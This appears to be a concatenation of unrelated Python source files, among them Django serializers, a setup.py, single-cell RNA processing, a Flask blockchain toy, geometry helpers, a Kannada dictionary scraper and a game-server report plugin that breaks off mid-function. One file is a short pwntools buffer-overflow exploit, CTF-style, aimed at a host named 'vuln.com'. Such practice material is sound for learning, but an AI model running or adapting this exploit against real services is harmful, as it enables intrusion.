from rest_framework import serializers
from space_manager.branches import serializers as branch_serializers
from space_manager.cabinets import serializers as cabinet_serializers
from . import models
from space_manager.branches import models as branch_models
from space_manager.users import serializers as user_serializers

class SimpleCabinetSerilaizer(serializers.ModelSerializer):
    class Meta:
        model = models.Cabinet
        fields = ('cabinet_number', 'id')

class BriefCabinetSetSerializer(serializers.ModelSerializer):
    branch = branch_serializers.BranchForMembershipSerializer()

    class Meta:
        model = models.CabinetSet
        fields = (
            'branch',
            'id',
        )

class CabinetSerializerForSelect(serializers.ModelSerializer):
    cabinet_set = BriefCabinetSetSerializer()
    user = user_serializers.UserSerializer()

    class Meta:
        model = models.Cabinet
        fields = ('cabinet_number', 'xpos', 'ypos', 'id', 'start_date',
                  'cabinet_set', 'end_date', 'is_usable', 'is_clean', 'user')

class CabinetActionSerializer(serializers.ModelSerializer):
    class Meta:
        model = models.CabinetAction
        fields = '__all__'

class CabinetHistorySerializer(serializers.ModelSerializer):
    cabinet_action = CabinetActionSerializer()

    class Meta:
        model = models.CabinetHistory
        fied = (
            'cabinet',
            'start_date',
            'end_date',
            'cabinet_action',
        )

class CabinetMembershipSerializer(serializers.ModelSerializer):

    cabinet_set = BriefCabinetSetSerializer()

    class Meta:
        model = models.Cabinet
        fields = ('cabinet_number', 'cabinet_set')

class CabinetSetSerializer(serializers.ModelSerializer):
    # cabinets = CabinetSerializerForSelect(many=True)

    class Meta:
        model = models.CabinetSet
        fields = ('width', 'height', 'xpos', 'ypos', 'order', 'desc', 'branch',
                  'id', 'horizontal_num', 'vertical_num')

class CabinetSetDetailSerializer(serializers.ModelSerializer):

    cabinets = cabinet_serializers.CabinetSerializerForSelect(many=True)

    class Meta:
        model = models.CabinetSet
        fields = ('desc', 'id', 'horizontal_num', 'vertical_num', 'cabinets')

class BranchCabinetSetsSerializer(serializers.ModelSerializer):
    cabinet_sets = CabinetSetSerializer(many=True)

    class Meta:
        model = branch_models.Branch
        fields = ('lounge_img_cabinet', 'cabinet_sets', 'branch_name', 'id')

class InputCabinetSetSerializer(serializers.ModelSerializer):
    class Meta:
        model = models.CabinetSet
        fields = (
            'width',
            'height',
            'order',
            'desc',
        )

class InputCabinetSerializer(serializers.ModelSerializer):
    class Meta:
        model = models.Cabinet
        fields = (
            'cabinet_number',
            'cabinet_set',
            'xpos',
            'ypos',
        )

class HistorySerializer(serializers.ModelSerializer):
    cabinet = CabinetSerializerForSelect()
    cabinet_action = CabinetActionSerializer()
    user = user_serializers.UserSerializer()

    class Meta:
        model = models.CabinetHistory
        fields = ('id', 'user', 'cabinet', 'start_date', 'end_date',
                  'cabinet_action', 'created_at')

class InputCabLockSerializer(serializers.ModelSerializer):
    class Meta:
        model = models.CabinetLock
        fields = (
            'lock_number',
            'lock_password',
            'cabinet',
        )

class CabinetSerializerForCablock(serializers.ModelSerializer):
    class Meta:
        model = models.Cabinet
        fields = ('cabinet_number', )

class CabLockSerializer(serializers.ModelSerializer):

    cabinet = CabinetSerializerForCablock()

    class Meta:
        model = models.CabinetLock
        fields = (
            'id',
            'branch',
            'lock_number',
            'lock_password',
            'cabinet',
        )

class CabinetDetailSerializer(serializers.ModelSerializer):
    cabinet_historys = HistorySerializer(many=True)
    user = user_serializers.UserSerializer()
    cabinet_lock = CabLockSerializer()

    class Meta:
        model = models.Cabinet
        fields = ('id', 'cabinet_number', 'cabinet_set', 'xpos', 'ypos',
                  'updated_at', 'start_date', 'end_date', 'cabinet_historys',
                  'user', 'cabinet_lock')


import sys
if sys.version_info < (3,):
    print('Python 2 is not supported by CVD-risk-scores.')
    sys.exit(-1)
if sys.platform == 'win32' and sys.maxsize.bit_length() == 31:
    print('32-bit Windows Python runtime is not supported. Please switch to 64-bit Python.')
    sys.exit(-1)

import pathlib
import traceback
import logging
import platform
from setuptools import setup, find_packages

# make sure python system version is at leaast 3.7.2
python_min_v = (3, 7, 2)
python_min_v_str = '.'.join(map(str, python_min_v))
if sys.version_info < python_min_v:
    logging.error("Python version required is at least {}. Currently you have {}.".format(python_min_v_str, platform.python_version()))

# determine semantic release version
DIR = pathlib.Path(__file__).parent
SOURCE_DIR = "src"
PROJECT_NAME = "cvd_risk_scores"

def main():
    long_description = (DIR / 'README.md').read_text()

    try:
        changelog = (DIR / 'CHANGELOG.md').read_text()
        __version__, *_ = re.findall(r"\[([0-9.]+)]", changelog)
    except (FileNotFoundError, ValueError) as ex:
        __version__ = '1.0.2'
        logging.error(ex)
        logging.error(traceback.print_exc())
        logging.warning(f'Unable to get semantic release version. Setting version to {__version__}.')

    setup(
        name=PROJECT_NAME,
        version=__version__,
        description='A Python package for computing cardiovascular disease risk using clinically validated models.',
        long_description=long_description,
        long_description_content_type='text/markdown',
        author='francesco-pisu',
        author_email='fra.pisu1@gmail.com',
        url='https://github.com/francescopisu/CVD-risk-scores',
        license='MIT',
        python_requires='>=3.7,<3.10',
        install_requires=[
            'numpy>=1.0.0,<2.0.0',
            'pandas>=1.0.0,<2.0.0',
            'typing-extensions>=3.0.0,<10.0.0',
            'pydantic>=1.0.0,<10.0.0'
        ],
        package_dir={f'{PROJECT_NAME}': f'{SOURCE_DIR}/{PROJECT_NAME}'},
        packages=find_packages(where=f'{SOURCE_DIR}', exclude=['tests']),
        # package_data={f'{PROJECT_NAME}': ['data/*.json']},
        include_package_data=True,
        classifiers=[
            'Development Status :: 2 - Pre-Alpha',
            'Intended Audience :: Science/Research',
            'Topic :: Scientific/Engineering :: Medical Science Apps.',
            'License :: OSI Approved :: MIT License',
            'Programming Language :: Python :: 3',
            'Programming Language :: Python :: 3.7',
            'Programming Language :: Python :: 3.8',
            'Programming Language :: Python :: 3.9',
        ]
    )

if __name__ == "__main__":
    main()


from numpy import var
from sympy import cyclotomic_poly
from pwn import *

context(os='linux', arch='amd64')
# context.log_level = 'critical'

host, port = 'vuln.com', 5555
elf = ELF('vuln')

def conn(argv=[]):
    if args.REMOTE:
        return remote(host, port)
    elif args.GDB:
        return gdb.debug([elf.path]+argv)
    else:
        return process([elf.path]+argv)

def exploit():
    payload = b''
    payload += cyclic(0x100)
    r = conn([payload.decode()])
    r.recvuntil(b'you got ')
    var_modified = int(r.recvuntil(b'\n')[:-1], 16)
    offset = cyclic_find(var_modified)
    payload = b''
    payload += cyclic(offset)
    payload += b'\x64\x63\x62\x61'
    r = conn([payload.decode()])
    r.interactive()

if __name__ == '__main__':
    exploit()


import numpy as np
import pandas as pd

import sys
from os.path import join as opj

from fg_shared import _fg_data

data_folder = opj(_fg_data, 'SEATRAC/TB_hackday_2023/data/darrah_etal')
bigdata_folder = opj(_fg_data, 'SEATRAC/TB_hackday_2023/bigdata')

def make_pseudo_bulk(downsamples=1000):
    """Meta-data file contains cell-level data for Week 13 and Week 25

    NOTE: the meta-data and cts data are not aligned by cellID so a MERGE is neccessary on md['NAME'] and cts columns"""
    md = pd.read_csv(opj(data_folder, 'updated_alexandria_metadata.txt'), sep='\t', low_memory=False)
    md = md.iloc[1:]

    """Clustering is provided separately for the Wk13 and Wk25 data"""
    clust = pd.read_csv(opj(data_folder, 'week13_clusters.txt'), sep='\t')
    clust = clust.iloc[1:]
    clust = clust.assign(X_13=clust['X'].astype(float),
                         Y_13=clust['Y'].astype(float))

    md = pd.merge(md, clust[['NAME', 'X_13', 'Y_13']], on='NAME', how='left')

    clust = pd.read_csv(opj(data_folder, 'week25_clusters.txt'), sep='\t')
    clust = clust.iloc[1:]
    clust = clust.assign(X_25=clust['X'].astype(float),
                         Y_25=clust['Y'].astype(float))

    """Merging here will create NA missing values for the cells that were not clustered and thats expected
    (e.g., week25 clusters do not include week13 cells and the meta-data contains both cells)"""
    md = pd.merge(md, clust[['NAME', 'X_25', 'Y_25']], on='NAME', how='left')

    md = md.assign(sampleid=md.apply(lambda r: f'D{r["donor_id"]}_WK{r["vaccination__time_since"]}_STIM{r["Stimulated"]}', axis=1))

    cts13 = pd.read_csv(opj(bigdata_folder, 'darrah_Week13.Filtered.cells.txt'), sep='\t')
    cts25 = pd.read_csv(opj(bigdata_folder, 'darrah_Week25.Filtered.cells.txt'), sep='\t')

    """Genes (32824) x Cells (162490)"""
    cts = pd.concat((cts13, cts25), axis=1)

    out = {}
    for (sid, ctype), gby in md.groupby(['sampleid', 'cell_type__ontology_label']):
         out[(sid, ctype)] = cts.iloc[:, gby.index].sum(axis=1)
    out = pd.DataFrame(out, index=cts.index)
    out.columns = [f'{i}_{j}' for i, j in out.columns]
    out.to_csv(opj(data_folder, 'pseudo_bulk_wk13_wk25.csv'), index=True)

    """Downsample to n=downsamples cells"""
    np.random.seed(3)
    sample_factor = md.shape[0] / downsamples
    out = []
    for (sid, ctype), gby in md.groupby(['sampleid', 'cell_type__ontology_label']):
        if gby.shape[0] < 20:
            nsample = gby.shape[0]
        else:
            nsample = int(np.round(gby.shape[0] / sample_factor))
        rind = np.random.permutation(gby.shape[0])[:nsample]
        out.append(cts.loc[:, gby['NAME'].iloc[rind]])

    out = pd.concat(out, axis=1)
    out.to_csv(opj(data_folder, 'darrah_downsample_cts.csv'), index=True)

    """gby['NAME'] contains cell identifiers like 'DDF16_WK13_STIMYES' which also
    appear as columns in the cts data"""

    md_ss = md.set_index('NAME').loc[out.columns].reset_index()
    md_ss.to_csv(opj(data_folder, 'darrah_downsample_meta.csv'), index=True)

if __name__ == '__main__':
    make_pseudo_bulk()


from flask import Flask, render_template, request, flash
import hashlib

app = Flask(__name__)
app.secret_key = "blockchain"

class Block:
    def __init__(self, name, data, previous_hash):
        self.name = name
        self.data = data
        self.previous_hash = previous_hash
        self.hash = self.create_hash()

    def create_hash(self):
        block_header = str(self.name) + str(self.data) + str(self.previous_hash)
        block_hash = hashlib.sha256(block_header.encode()).hexdigest()
        return block_hash

class Blockchain:
    def __init__(self):
        self.blockchain = [Block("Genesis Block", "This is the first block", "0")]

    def add_block(self, name, data):
        previous_hash = self.blockchain[-1].hash
        new_block = Block(name, data, previous_hash)
        self.blockchain.append(new_block)

bc = Blockchain()

@app.route("/")
def index():
    return render_template("index.html")

@app.route("/transfer_money", methods=["POST"])
def transfer_money():
    try:
        if request.method == "POST":
            name = request.form["name"]
            data = request.form["money"]
            bc.add_block(name, data)
            blocks = []
            for block in bc.blockchain:
                block_info = {
                    'Block Name':block.name,
                    'Block Data':block.data,
                    'hash':block.hash,
                    'Previous Hash':block.previous_hash
                }
                blocks.append(block_info)
            for i in blocks:
                print(i)
            flash("Money Sended Successfully!")
            return render_template("index.html")
        else:
            flash("Something Went Wrong!!")
            return render_template("index.html")
    except:
        flash("Some Error Occured!!")
        return render_template("index.html")

if __name__ == "__main__":
    app.run()


#Data visualization in Python
#Markers, colors and rows type

import matplotlib.pyplot as plt

x = [1, 2, 3, 4, 5]
y = [2, 3, 7 , 1, 0]
z = [200, 5, 400, 3300, 10]

title = "Scatterplot"
axisx = "Axis X"
axisy = "Axis Y"

#Subtitles
plt.title(title)
plt.xlabel(axisx)
plt.ylabel(axisy)

plt.plot(x,y,color="k",linestyle="--")
plt.scatter(x, y, label = "My points", color = "#990000", marker=".", s=z)
plt.legend()

plt.show()


"""
AUTHOR - VEDIKA YADAV
TASK - REAL-TIME FACE MASK DETECTION
"""
# importing required libraries
import cv2
import dlib
import imutils.face_utils as face

# Initialising Detector

detector = dlib.get_frontal_face_detector()
# Reading Video
capture = cv2.VideoCapture("./video.mp4")
while True:
    # Reading Video frame by frame
    ret, frame = capture.read()
    # Resizing Frame
    frame = cv2.resize(frame, (1024, 512))
    # Converting to GrayScale
    gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)
    rects = detector(gray)
    for rect in rects:
        # Detecting bounding box for faces without mask
        (bX, bY, bW, bH) = face.rect_to_bb(rect)
        # Drawing bounding box
        cv2.rectangle(frame, (bX, bY), (bX + bW, bY + bH), (0, 0, 255), 3)
        cv2.putText(frame, text="No Mask", org=(bX, bY), fontScale=1,
                    fontFace=cv2.FONT_HERSHEY_SIMPLEX, color=(0, 0, 255),
                    thickness=2)
    # Showing the detected frames of video
    cv2.imshow('Window', frame)
    if cv2.waitKey(1) & 0xFF == ord('q'):
        break
capture.release()
# Closing all opencv windows
cv2.destroyAllWindows()


"""
2_centuryFromYear

Given a year, return the century it is in.
The first century spans from the year 1 up to and including the year 100,
the second - from the year 101 up to and including the year 200, etc.

Example

For year = 1905, the output should be centuryFromYear(year) = 20;
For year = 1700, the output should be centuryFromYear(year) = 17.

"""
"""
181205

Subject - Century calculation

"""

def centuryFromYear(year):
    if year % 100:
        century_year = year // 100 + 1
    else:
        century_year = year // 100
    return century_year

    # return year // 100 + 1 if year % 100 else year // 100

# Che1 - string 으로 할 수 있다는 것을 보여주기 위해서

# 181205
# Error fixed with 'index_num = len(year_str) - 2'

def centuryFromYear(year):

    year_str = str(year)
    if year_str[-2:] > "00":
        return year//100 + 1
    else:
        index_num = len(year_str) - 2
        return int(year_str[:index_num])

# result = centuryFromYear(1905)
# result = centuryFromYear(1234)
# result = centuryFromYear(1700)
# result = centuryFromYear(1)
# result = centuryFromYear(101)
result = centuryFromYear(300)
print(result)


import numpy as np
import math

# Globals
X = 0
Y = 1

# BEGIN POLYGON FUNCTIONS
def Get2DPolygonCentroid(vertices):
    centroid = [0.0, 0.0]
    signedArea = 0.0

    for i in range(len(vertices) - 1):
        v0 = vertices[i]
        v1 = vertices[i + 1]
        area = (v0[X] * v1[Y]) - (v1[X] * v0[Y])
        signedArea = signedArea + area
        centroid[X] = centroid[X] + ((v0[X] + v1[X]) * area)
        centroid[Y] = centroid[Y] + ((v0[Y] + v1[Y]) * area)

    v0 = vertices[len(vertices) - 1]
    v1 = vertices[0]
    area = (v0[X] * v1[Y]) - (v1[X] * v0[Y])
    signedArea = signedArea + area
    centroid[X] = centroid[X] + ((v0[X] + v1[X]) * area)
    centroid[Y] = centroid[Y] + ((v0[Y] + v1[Y]) * area)

    signedArea = signedArea * 0.5
    centroid[X] = centroid[X] / (6.0 * signedArea)
    centroid[Y] = centroid[Y] / (6.0 * signedArea)

    return centroid

def SortVerticesClockwise(vertices):
    centroid = Get2DPolygonCentroid(vertices)

def DoesLineTouchPolygonBorder(line, polyVertsClockwise):
    line.sort(key = lambda v: v[X])
    for i in range(len(polyVertsClockwise)):
        if i < len(polyVertsClockwise) - 1:
            lineCur = [polyVertsClockwise[i], polyVertsClockwise[i + 1]]
        else:
            lineCur = [polyVertsClockwise[i], polyVertsClockwise[0]]
        lineCur.sort(key = lambda v: v[X])
        intersectPnt = GetIntersectionPoint2Lines(line, lineCur)
        if intersectPnt is not None:
            return True
    return False

# BEGIN LINE FUNCTIONS
def GetSlopeAndIntercept(line):
    slope = None
    intercept = None
    if (float(line[1][X] - line[0][X]) != 0):
        slope = float(line[1][Y] - line[0][Y]) / float(line[1][X] - line[0][X])
        # L1[0][Y] = L1_Slope * L1[0][X] + L1_Intercept
        # so...
        intercept = line[0][Y] - (slope * line[0][X])
    return slope, intercept

def GetIntersectionPoint2Lines(L1, L2):
    L1Slope, L1Inter = GetSlopeAndIntercept(L1)
    L2Slope, L2Inter = GetSlopeAndIntercept(L2)

    if L1Slope == L2Slope:
        return None
    elif L1Slope == None or L2Slope == None:
        return None
    else:
        intersection = float(L2Inter - L1Inter) / float(L1Slope - L2Slope)
        if ((intersection >= L1[0][X] and intersection <= L1[1][X]) and
            (intersection >= L2[0][X] and intersection <= L2[1][X])):
            return intersection
        else:
            return None

# X2, Y2 must be a coordinate to the right of  X1, Y1
# Angles are calculated as if X1, Y1 is the opposite angle
# of a right triangle and X2, Y2 is the adjacent angle or a
# right triangle. Assumes Hypotenuse angle is 90 degrees.
def GetLineAngleAndLen(x1, y1, x2, y2):
    deltaY = y2 - y1
    deltaX = x2 - x1
    lineLen = np.sqrt(abs(math.pow(y2 - y1, 2)) + abs(math.pow(x2 - x1, 2)))
    angle = math.atan2(deltaY, deltaX) * 180 / math.pi
    return angle, lineLen

def DivideLineSegment(line, divisor):
    lines = []
    angle, length = GetLineAngleAndLen(line[0][X], line[0][Y], line[1][X], line[1][Y])
    ptA = line[0]
    ptB = line[1]

    opp = ptB[Y] - ptA[Y]
    adj = ptB[X] - ptA[X]
    hyp = int(np.floor(math.sqrt((opp * opp) + (adj * adj))))

    flt_OppDiv = opp / float(divisor)
    avg_Opp = None
    lst_Opp = []

    flt_AdjDiv = adj / float(divisor)
    avg_Adj = None
    lst_Adj = []

    curPt = [ptA[X], ptA[Y]]

    for i in range(divisor):
        curOpp = None
        curAdj = None
        if i == 0:
            curOpp = int(np.floor(flt_OppDiv))
            curAdj = int(np.floor(flt_AdjDiv))
        else:
            if avg_Opp > flt_OppDiv:
                curOpp = int(math.floor(flt_OppDiv + .000001))
            else:
                curOpp = int(math.ceil(flt_OppDiv - .000001))

            if avg_Adj > flt_AdjDiv:
                curAdj = int(math.floor(flt_AdjDiv + .000001))
            else:
                curAdj = int(math.ceil(flt_AdjDiv - .000001))

        lst_Opp.append(curOpp)
        lst_Adj.append(curAdj)

        newPt = []
        if angle <= 0:
            newPt = [curPt[X] + curAdj - 1, curPt[Y] - curOpp + 1]
        else:
            newPt = [curPt[X] + curAdj - 1, curPt[Y] + curOpp - 1]

        lineSeg = [curPt, newPt]
        lines.append(lineSeg)

        curPt = [newPt[X] + 1, newPt[Y] + 1]

        avg_Opp = np.mean(lst_Opp)
        avg_Adj = np.mean(lst_Adj)

    return lines

def GetCoordinateListFromLine(x0, y0, x1, y1):
    slope, inter = GetSlopeAndIntercept([[x0, y0], [x1, y1]])

    if slope == None:
       coord_count = y1 - y0
       coords = np.zeros(shape = (coord_count, 2), dtype = np.int32)
       for i in xrange(len(coords)):
           coords[i] = [x0, y0 + i]
       return coords

    if abs(slope) <= 1:
        coord_count = x1 - x0
    elif y0 > y1:
        coord_count = y0 - y1
    else:
        coord_count = y1 - y0

    coords = np.zeros(shape = (coord_count, 2), dtype = np.int32)

    steep = abs(y1 - y0) > abs(x1 - x0)
    if steep == True:
        x0, y0 = y0, x0
        x1, y1 = y1, x1
    if x0 > x1:
        x0, x1 = x1, x0
        y0, y1 = y1, y0
    delta_x = x1 - x0
    delty_y = abs(y1 - y0)
    error = delta_x / 2
    y = y0
    y_step = None
    if y0 < y1:
        y_step = 1
    else:
        y_step = -1

    for i in xrange(0, coord_count):
        if steep:
            coords[i] = [y, i + x0]
        else:
            coords[i] = [i + x0, y]
        error = error - delty_y
        if error < 0:
            y = y + y_step
            error = error + delta_x

    return coords

def Get_Perpendicular_Slope_And_Intercept(x0, y0, x1, y1, intersection_coordinate):
    slope_orig, inter_orig = GetSlopeAndIntercept([[x0, y0], [x1, y1]])

    if slope_orig == 0:
        slope_new = None
        inter_new = None
    else:
        slope_new = -1 * np.reciprocal(slope_orig)
        inter_new = intersection_coordinate[Y] - (slope_new * intersection_coordinate[X])

    return slope_new, inter_new

def Get_Ln_Endpt_From_Opp_Ang_And_Top_Lft_Crd_To_West_Edge\
    (opp_ang, x_max, y_max, x0, y0):
    # If Y increases as we go south on the coordinate plane, a negative angle implies a northward
    # skew from east to west.
    # If Y decreases as we go south on the coordinate plane, the opposite is true.
    if x0 > x_max or y0 > y_max:
        return None

    adj_ang = 180 - (90 + abs(opp_ang))
    if opp_ang < 0:
        opp_len = y0
        adj_len = (opp_len * np.sin(np.radians(adj_ang))) / np.sin(np.radians(abs(opp_ang)))
        y1 = 0
    else:
        adj_len = x_max - x0
        opp_len = abs((adj_len * np.sin(np.radians(opp_ang))) / np.sin(np.radians(adj_ang)))
        y1 = int(np.round(y0 + opp_len))

    x1 = int(np.round(x0 + adj_len))
    if x1 > x_max:
        slope, inter = GetSlopeAndIntercept([[x0, y0], [x1, y1]])
        x1 = x_max
        y1 = int(np.round((slope * x1) + inter))

    return [x1, y1]

def Get_Perp_Line_At_X_Coord_Of_Line(line_src, x0, line_height):
    slope, intercept = GetSlopeAndIntercept(line_src)
    y0 = (slope * x0) + intercept
    slope_perp, inter_perp = \
        Get_Perpendicular_Slope_And_Intercept\
        (line_src[0][X], line_src[0][Y], line_src[1][X], line_src[1][Y], [x0, y0])
    y1 = y0 + line_height
    if slope_perp == None:
        x1 = line_src[1][X]
    else:
        x1 = (y1 - inter_perp) / slope_perp

    return int(np.round(x0)), int(np.round(y0)), int(np.round(x1)), int(np.round(y1))

def LineOffset(line, offset_amt, min_val, max_val, axis = 1):
    if (line[0][axis] + offset_amt > min_val and line[0][axis] + offset_amt < max_val and
        line[1][axis] + offset_amt > min_val and line[1][axis] + offset_amt < max_val):
        line[0][axis] = line[0][axis] + offset_amt
        line[1][axis] = line[1][axis] + offset_amt

    return line

class Triangle:
    def __init__(self,
                 adj_len,
                 adj_ang,
                 hyp_ang):

        self.adj_len = adj_len
        self.adj_ang = adj_ang
        self.hyp_ang = hyp_ang
        self.hyp_len = math.sin(math.radians(hyp_ang)) * (adj_len / math.sin(math.radians(adj_ang)))
        self.opp_len = math.sqrt((self.hyp_len * self.hyp_len) - (adj_len * adj_len))
        self.opp_ang = 180 - (self.adj_ang + self.hyp_ang)


from urllib.request import Request, urlopen
from bs4 import BeautifulSoup
from nltk.corpus import words
import json
import os
from collections import defaultdict

def get_kannada_word(search_word):
	vals = []
	dict_page = 'https://www.shabdkosh.com/search-dictionary?e='+search_word+'&lc=kn&sl=en&tl=kn'

	req = Request(dict_page, headers={'User-Agent': 'Mozilla/5.0'})
	page = urlopen(req)

	soup = BeautifulSoup(page, 'html.parser')
	res_list = soup.find_all('ol', {'class': 'eirol'})

	for ol in res_list:
		li = ol.find_all('li')
		for a in li:
			for x in a.find_all('a'):
				t = x.text
				if len(t.split(' ')) <= 1:
					vals.append(t)
	return vals

def return_english(sentence):
	for i in range(len(sentence)):
		if sentence[i] in words.words():
			return i, sentence[i]

	return -1, None

def load_json(path, file):
	os.chdir(path)
	b = defaultdict(lambda: defaultdict(lambda: 0.2))
	if os.path.isfile(file):
		f = open(file, "r", encoding="utf-8")

		json_data = json.loads(f.read())

		b = defaultdict(lambda: defaultdict(lambda: 10 ** -20))

		for t in json_data:
			string = t[:]
			t1, t2 = string.split(":", 1)
			if t1 == "None":
				t1 = None
			if t2 == "None":
				t2 = None
			b[(t1, t2)] = json_data[string]

	return b

def load_json_bi(path, file):
	os.chdir(path)
	b = defaultdict(lambda: defaultdict(lambda: 0.2))
	if os.path.isfile(file):
		f = open(file, "r", encoding="utf-8")

		json_data = json.loads(f.read())

		b = defaultdict(lambda: defaultdict(lambda: 10 ** -20))

		for t in json_data:
			if t == "null" or t == "None":
				b[None] = json_data[t]
			else:
				b[t] = json_data[t]

	return b

def calculate_prob(t_a, m):
	t = [None, None]
	prob = 1
	for ww in t_a:
		prob_t = m[tuple(t[-2:])].get(ww, 10 ** -20)
		prob *= prob_t
		t.append(ww)
	return prob

def calculate_prob_bi(t_a, m):
	t = None
	prob = 1
	for ww in t_a:
		prob_t = m[t].get(ww, 10 ** -20)
		prob *= prob_t
		t = ww
	return prob

def get_sentence(sentence, model, n=3):
	sentence_array = sentence.split(" ")

	idx, word = return_english(sentence_array)

	if idx != -1:
		wws = get_kannada_word(word)

		if len(wws) == 0:
			return []

		p = - 100
		chosen_word = ""
		t_array = sentence_array[:]
		for w in wws:
			t_array[idx] = w
			if n == 3:
				t = calculate_prob(t_array, model)
			else:
				t = calculate_prob_bi(t_array, model)
			if t > p:
				p = t
				chosen_word = w

		t_array[idx] = chosen_word
		return t_array

if __name__ == "__main__":
	sw = "net"
	print(get_kannada_word(sw))
	mo = load_json("E:/NITK/6th Sem/Computer Graphics/kannada-rocks", "data.json")

	ss = "ಆಗ ನಮ್ಮೂರಿನ crow ನೆಂಟರು ಬೇರೆ ಬಂದಿದ್ದಾರೆ ಎಂದು ಆಗುತ್ತದೆ"
	updated = get_sentence(ss, mo)


"""
작성일: 2020-08-18
==============================================================================
문제: 문제 내용
[큰 수의 법칙]
배열의 크기 N, 숫자가 더해지는 횟수 M, 최대 반복될 수 있는 횟수 K가 주어질 때
동빈이의 큰 수의 법칙에 따른 결과를 출력하시오
==============================================================================
소요 시간: 00분
"""

n, m, k = map(int, input().split())
data = list(map(int, input().split()))

data.sort()
first = data[n-1]
second = data[n-2]

result = 0

while True:
    for i in range(k):
        if m == 0:
            break
        result += first
        m -= 1
    if m == 0:
        break
    result += second
    m -= 1

print(result)

"""
접근법:
가장 간단한 방법으로 입력 값이 작을 때만 사용 가능하다.
값을 입력받아 정렬한 후 가장 큰 수를 k만큼 더하고, 두번째 큰 수를 1번 더하는 것을 반복하여
총 더하는 수 만큼 더해지면 결과 출력
==============================================================================
다른 해결 방식:

n, m, k = map(int, input().split())
data = list(map(int, input().split()))

data.sort()
first = data[n-1]
second = data[n-2]

# 가장 큰 수가 더해지는 횟수 계산
count = int(m / (k+1) * k)    #반복되는 수열의 길이(k+1)로 나눈 몫에 k를 곱한 값이 가장 큰 수가 등장하는 횟수이다
count += m % (k+1)            #나누어떨어지지 않는 경우 나머지만큼 큰 수가 추가로 더해진다.

result = 0
result += count * first
result += (m - count) * second

print(result)
==============================================================================
개선점: 개선할 수 있는 부분
수학적으로 접근해보기
==============================================================================
노트:
푼 문제 계속 반복해서 풀어보기
많은 문제 반복해서 풀어보기

"""


# coding=utf-8
__author__ = 'Gartand'
__version__ = '1.2'

import clr
clr.AddReferenceByPartialName("Fougerite")
import Fougerite

blue = "[color #0099FF]"
red = "[color #FF0000]"
pink = "[color #CC66FF]"
teal = "[color #00FFFF]"
green = "[color #009900]"

class Report:

    def On_PluginInit(self):
        self.IniFile()

    def argsToText(self, args):
        text = str.join(" ", args)
        return text

    def isMod(self, id):
        if DataStore.ContainsKey("Moderators", id):
            return True
        return False

    def IniFile(self):
        if not Plugin.IniExists("ReportedPlayers"):
            ini = Plugin.CreateIni("ReportedPlayers")
            ini.Save()
        return Plugin.GetIni("ReportedPlayers")

    def GetQuoted(self, array, Reporter):
        text = str.join(" ", array)
        if not '"' in text:
            Reporter.MessageFrom('Report', 'Usage: /report "PlayerName" "message"')
            Reporter.MessageFrom('Report', 'Quote signs (") are required.')
            return False
        groups = text.split('"')
        n = len(groups)
        list = []
        for x in xrange(0, n):
            if x % 2 != 0:
                list.append(str(groups[x]))
        return list

    """
        CheckV method based on Spock's method.
        Upgraded by DreTaX
        Can Handle Single argument and Array args.
        V4.1
    """

    def GetPlayerName(self, namee):
        try:
            name = namee.lower()
            for pl in Server.Players:
                if pl.Name.lower() == name:
                    return pl
            return None
        except:
            return None

    def CheckV(self, Player, args):
        systemname = "Report"
        count = 0
        if hasattr(args, '__len__') and (not isinstance(args, str)):
            p = self.GetPlayerName(str.join(" ", args))
            if p is not None:
                return p
            for pl in Server.Players:
                for namePart in args:
                    if namePart.lower() in pl.Name.lower():
                        p = pl
                        count += 1
                        continue
        else:
            nargs = str(args).lower()
            p = self.GetPlayerName(nargs)
            if p is not None:
                return p
            for pl in Server.Players:
                if nargs in pl.Name.lower():
                    p = pl
                    count += 1
                    continue
        if count == 0:
            Player.MessageFrom(systemname, "Couldn't find [color#00FF00]" + str.join(" ", args) + "[/color]!")
            return None
        elif count == 1 and p is not None:
            return p
        else:
            Player.MessageFrom(systemname, "Found [color#FF0000]" + str(count) + "[/color] player with similar name. [color#FF0000] Use more correct name!")
            return None

    def SaveReportToIni(self, Reporter, ReportedName, Text):
        ini = self.IniFile()
        enum = ini.EnumSection("Reports")
        length = len(enum)
        if length == 0:
            lastreportnumber = 0
        else:
            lastreportnumber = int(enum[length - 1])
        ini.AddSetting("Reports", str(lastreportnumber + 1), "Reporter: " + Reporter.Name + " | Reported:  " + ReportedName + "  | Reason: " + Text)
        ini.Save()

    def On_Command(self, Reporter, cmd, args):
        ini = self.IniFile()
        enum = ini.EnumSection("Reports")
        length = len(enum)
        if cmd == "report":
            if len(args) == 0:
                Reporter.MessageFrom("Report", green + "Get420Reported++ " + __version__ + " Made by " + __author__)
                Reporter.MessageFrom("Report", '/report "Name" "Reason" - Quote signs (") are required.')
                if Reporter.Admin or self.isMod(Reporter.SteamID):
                    Reporter.MessageFrom("Report", "/report list - List Reports")
                    Reporter.MessageFrom("Report", "/report view - View report.")
                    Reporter.MessageFrom("Report", "/report delete - Mark and Delete report.")
                    Reporter.MessageFrom("Report", "/report deleteall - Delete all")
            else:
                if args[0] == "help":
                    Reporter.MessageFrom("Report", green + "Get420Reported++ " + __version__ + " Made by " + __author__)
                    Reporter.MessageFrom("Report", '/report "Name" "Reason" - Quote signs (") are required.')
                    if Reporter.Admin or self.isMod(Reporter.SteamID):
                        Reporter.MessageFrom("Report", "/report list - List Reports")
                        Reporter.MessageFrom("Report", "/report view - View report.")
                        Reporter.MessageFrom("Report", "/report delete - Mark and Delete report.")
                        Reporter.MessageFrom("Report", "/report deleteall - Delete all")
                elif args[0] == "list":
                    if not Reporter.Admin and not self.isMod(Reporter.SteamID):
                        return
                    Reporter.MessageFrom("Report", green + "There are (" + teal + str(length) + green + ") reports atm.")
                    for key in enum:
                        Reporter.MessageFrom("Report", "Ticket: " + key)
                elif args[0] == "view":
                    if not Reporter.Admin and not self.isMod(Reporter.SteamID):
                        return
                    # cmd args[0] args[1]
                    # /report view id
                    if len(args) == 1:
                        Reporter.MessageFrom("Report", red + "Usage: /report view id")
                        return
                    id = args[1]
                    if not id.isdigit():
                        Reporter.MessageFrom("Report", red + "ID must be a number.")
                        return
                    if not ini.GetSetting("Reports", id) and ini.GetSetting("Reports", id) is None:
                        Reporter.MessageFrom("Report", red + "This report doesn't exist!")
                        return
                    Reason = ini.GetSetting("Reports", id)
                    Reporter.MessageFrom("Report", red + "You are viewing Ticket ID: " + id)
                    Reporter.MessageFrom("Report", green + "Case: " + teal + Reason)
                elif args[0] == "delete":
                    if not Reporter.Admin and not self.isMod(Reporter.SteamID):
                        return
                    if len(args) == 1:
